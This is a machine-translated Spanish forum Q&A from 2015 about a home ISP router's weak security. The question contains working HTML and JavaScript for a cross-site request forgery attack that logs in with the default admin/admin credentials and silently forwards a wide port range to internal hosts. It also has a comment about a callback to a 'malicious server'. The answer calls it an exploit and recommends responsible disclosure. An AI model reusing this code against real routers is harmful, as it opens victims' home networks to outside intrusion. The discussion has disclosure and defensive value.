¿Qué constituye un exploit? Pude comprometer mi enrutador de la casa común

3

Estaba configurando Wifi en casa hoy (solo usando el enrutador predeterminado que proporciona Time Warner Cable) y se horrorizó ante la mínima seguridad que brinda el servidor web.

  • El nombre de usuario / contraseña predeterminado es Googlable y es admin admin

  • Cuando cambia las contraseñas, su cambio de contraseña está restringido a Menos de 8 caracteres y sin caracteres especiales. No hay límites en los intentos de contraseña (por lo tanto bruteforcable)

  • No hay tokens CSRF

Así que pensé que escribiría una página web simple que el puerto reenvíe todo el tráfico a la primera IP asignada de forma predeterminada.

<!-- First form logs us in -->
<form id="login" action="http://192.168.0.1/goform/login" method=POST name="login" target="login_frame">

    <input type="password" name="loginUsername" value="admin">
    <input type="password" name="loginPassword" value="admin">
    <input id='btnLogin' type="submit" value="Login">

</form>

<!-- Second form sets settings -->
<!-- Ports from 162 - 50000 since UDP is default 161 (plus all the good ports are open later anyway). Could potentially change UDP, or set ranges from 0 - 160 as well -->
<form id="hack" action="http://192.168.0.1/goform/RgForwarding" method="POST" name="login" target="hack_frame">

    <input type="text" name="PortForwardingCreateRemove" value="0"/>
    <input type="text" name="PortForwardingExtIp" value="0.0.0.0"/>
    <input type="text" name="PortForwardingExtStartPort" value="162" />
    <input type="text" name="PortForwardingExtEndPort" value="50000"/>
    <input type="text" id="ip" name="PortForwardingLocalIp" />
    <input type="text" name="PortForwardingLocalStartPort" value="162"/>
    <input type="text" name="PortForwardingLocalEndPort"  value="50000"/>
    <input type="text" name="PortForwardingProtocol"  value="4"/>
    <input type="text" name="PortForwardingDesc"  value="Pwnage"/>
    <input type="text" name="PortForwardingEnabled" value="1" />
    <input type="text" name="PortForwardingApply" value="2" />
    <input type="text" name="PortForwardingTable" value="0" />

</form>

<!-- Iframes prevent need for popups -->
<iframe name="login_frame"></iframe>
<iframe name="hack_frame"></iframe>

<script type="text/javascript">

    // Submitting forms instead of doing XMLHttpRequest gets around
    // Chrome and other modern browsers complaining about Access-Control-Allow-Origin
    var wait = 1000;

    var login = document.getElementById('login');
    setTimeout(function(evt){ login.submit() }, wait);

    var hack = document.getElementById('hack');
    var ip = document.getElementById('ip');
    var base = "192.168.0.";
    var i = 10;
    var rinse = function(){
        if(i >= 256) return; // Impossible IPs say what?
        ip.value = base + i;
        hack.submit();
        i++;
        // Callback to malicious server to indicate the deed was done.
    }
    setTimeout(rinse, wait * 2);

    // Potentially have callback from server after attempt to exploit
    // then rinse and repeat with different ip

</script>

La peor parte de esto, es que funciona. ¿Constituye esto una hazaña? ¿Los fabricantes de enrutadores simplemente no se preocupan por la seguridad? Podría haber intentado jugar con otras configuraciones, pero esto parecía dejar a una víctima abierta para metasploit. ¿La mayoría de los cortafuegos del sistema operativo podrían salvar a una víctima? ¿Debo comprar otro enrutador?

Solo algunas ideas flotando alrededor.

    
pregunta Dylan Madisetti 30.01.2015 - 08:21
fuente

1 respuesta

2

Los enrutadores ISP son conocidos por tener una mala seguridad. Los enrutadores domésticos en general no son tan buenos en cuanto a seguridad, pero algunos de los mejores proporcionan al menos actualizaciones de firmware que solucionan fallas conocidas. Proporcionan mejor seguridad que sus contrapartes de ISP y, por lo general, también tienen un conjunto de características mucho mejor.

Yo consideraría esto como un exploit. Como tal, debe considerar dónde y cómo publica información al respecto. La mejor manera de manejar estas cosas desde mi punto de vista es mediante la divulgación responsable:

"La divulgación responsable es un término de seguridad informática que describe un modelo de divulgación de vulnerabilidad. Es como la divulgación completa, con la adición de que todas las partes interesadas acuerdan permitir un período de tiempo para que la vulnerabilidad sea reparada antes de publicar los detalles".

(Wikipedia: puedes leer el resto aquí: enlace )

El firewall a nivel de sistema operativo no mitigará este tipo de ataques.

    
respondido por el Vegard 30.01.2015 - 08:41
fuente

Lea otras preguntas en las etiquetas